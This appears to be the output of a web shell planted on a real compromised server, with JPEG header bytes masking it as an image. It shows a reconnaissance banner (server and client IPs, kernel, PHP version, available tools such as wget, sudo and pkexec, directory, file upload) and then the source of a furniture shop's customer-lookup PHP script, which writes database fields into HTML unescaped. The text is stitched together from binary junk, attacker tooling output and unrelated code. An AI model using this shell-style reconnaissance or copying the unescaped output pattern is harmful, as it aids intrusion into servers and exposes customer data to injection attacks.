����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.68 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/mueblesOLDMAYO/applicationOLD/customer2/ |
Upload File : |
<?php date_default_timezone_set("America/Mexico_City"); session_start(); require_once ("../model/dbconn.php"); require_once ("../model/pos.php"); function cmp($a, $b) { return strcmp($a["id_cust"], $b["id_cust"]); } $term = $_POST['term']; $pos = new pos(); $html =''; $data = $pos->autoCompleteC($term); $hasil = array(); $i=1; foreach ($data[1] as $row) { $hasil[$i]['id_cust'] = $row['id_cust']; $hasil[$i]['contract'] = $row['contract']; $hasil[$i]['name'] = $row['name']; $hasil[$i]['conyugue'] = $row['conyugue']; $hasil[$i]['direccion'] = $row['direccion']; $hasil[$i]['credito'] = $row['credito']; $hasil[$i]['poblacion'] = $row['poblacion']; $hasil[$i]['phone'] = $row['phone']; //<button title='Editar' class='btn btn-edit btn-warning btn-xs'><i class='fa fa-pencil'></i> Editar</button> //<button title='borrar' class='btn btn-hapus btn-danger btn-xs'><i class='fa fa-remove'></i> Borrar</button> $hasil[$i]['button'] = $button = ' <button title="Eliminar Requiere Permisos" class="btn btn-hapus btn-danger btn-xs" ><i class="fa fa-trash">Borrar Cliente</i></button>'; $i++; } usort($hasil, "cmp"); $no = 1; foreach($hasil as $key) { $html .= '<tr>'; $html .= '<td>'.$key['id_cust'].'</td>'; $html .= '<td>'.$key['contract'].'</td>'; $html .= '<td>'.$key['name'].'</td>'; $html .= '<td style="text-align:right">$ '.$key['conyugue'].'</td>'; $html .= '<td style="text-align:right">'.$key['direccion'].'</td>'; $html .= '<td style="text-align:right">'.$key['credito'].'</td>'; $html .= '<td style="text-align:right">'.$key['poblacion'].'</td>'; $html .= '<td style="text-align:right">'.$key['phone'].'</td>'; $html .= '<td style="text-align:right">'.$key['button'].'</td>'; $html .= '</tr>'; $no++; } $array = array(); $array['data'] = $html; echo json_encode($array); ?> <script src="j_customer.js"></script>